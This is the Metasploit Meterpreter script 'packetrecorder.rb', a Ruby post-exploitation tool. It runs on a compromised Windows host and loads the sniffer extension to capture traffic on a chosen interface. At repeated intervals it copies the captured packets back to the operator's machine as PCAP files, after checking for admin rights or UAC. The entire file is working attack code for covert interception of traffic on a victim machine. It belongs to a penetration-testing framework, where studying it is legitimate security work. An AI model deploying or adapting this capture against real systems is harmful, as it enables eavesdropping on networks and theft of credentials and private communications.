metasploit-framework/scripts/meterpreter/packetrecorder.rb

220 lines
6.2 KiB
Ruby

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
# Interval for recording packets
rec_time = 30
# Interface ID
int_id = nil
# List Interfaces
list_int = nil
# Log Folder
log_dest = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu."],
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
"-i" => [ true, "Interface ID number where all packet capture will be done."],
"-li" => [ false, "List interfaces that can be used for capture."],
"-l" => [ true, "Specify and alternate folder to save PCAP file."]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for capturing packets in to a PCAP file"
print_line "on a target host given a interface ID."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Function for creating log folder and returning log pa
#-------------------------------------------------------------------------------
def log_file(log_path = nil)
#Get hostname
host = @client.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
return Rex::FileUtils.clean_path(logfile)
end
#Function for Starting Capture
#-------------------------------------------------------------------------------
def startsniff(interface_id)
begin
#Load Sniffer module
@client.core.use("sniffer")
print_status("Starting Packet capture on interface #{interface_id}")
#starting packet capture with a buffer size of 200,000 packets
@client.sniffer.capture_start(interface_id, 200000)
print_good("Packet capture started")
rescue ::Exception => e
print_status("Error Starting Packet Capture: #{e.class} #{e}")
raise Rex::Script::Completed
end
end
#Function for Recording captured packets into PCAP file
#-------------------------------------------------------------------------------
def packetrecord(packtime, logfile,intid)
begin
rec = 1
print_status("Packets being saved in to #{logfile}")
print_status("Packet capture interval is #{packtime} Seconds")
#Inserting Packets every number of seconds specified
while rec == 1
path_cap = logfile
path_raw = logfile + '.raw'
fd = ::File.new(path_raw, 'wb+')
#Flushing Buffers
res = @client.sniffer.capture_dump(intid)
bytes_all = res[:bytes] || 0
bytes_got = 0
bytes_pct = 0
while (bytes_all > 0)
res = @client.sniffer.capture_dump_read(intid,1024*512)
bytes_got += res[:bytes]
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
if(pct > bytes_pct)
bytes_pct = pct
end
break if res[:bytes] == 0
fd.write(res[:data])
end
fd.close
#Converting raw file to PCAP
fd = nil
if(::File.exist?(path_cap))
fd = ::File.new(path_cap, 'ab+')
else
fd = ::File.new(path_cap, 'wb+')
fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
end
od = ::File.new(path_raw, 'rb')
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
while(true)
buf = od.read(20)
break if not buf
idh,idl,thi,tlo,len = buf.unpack('N5')
break if not len
if(len > 10000)
print_error("Corrupted packet data (length:#{len})")
break
end
pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
pkt = od.read(len)
fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
end
od.close
fd.close
::File.unlink(path_raw)
sleep(2)
sleep(packtime.to_i)
end
rescue::Exception => e
print("\n")
print_status("#{e.class} #{e}")
print_good("Stopping Packet sniffer...")
@client.sniffer.capture_stop(intid)
end
end
# Function for listing interfaces
# ------------------------------------------------------------------------------
def int_list()
begin
@client.core.use("sniffer")
ifaces = @client.sniffer.interfaces()
print_line()
ifaces.each do |i|
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
i['idx'], i['description'],
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
)
end
print_line()
rescue ::Exception => e
print_error("Error listing interface: #{e.class} #{e}")
end
raise Rex::Script::Completed
end
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-i"
int_id = val.to_i
when "-l"
log_dest = val
when "-li"
list_int = 1
when "-t"
rec_time = val
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
if !int_id.nil? or !list_int.nil?
if not is_uac_enabled? or is_admin?
if !list_int.nil?
int_list
else
pcap_file = log_file(log_dest)
startsniff(int_id)
packetrecord(rec_time,pcap_file,int_id)
end
else
print_error("Access denied (UAC enabled?)")
end
else
usage
end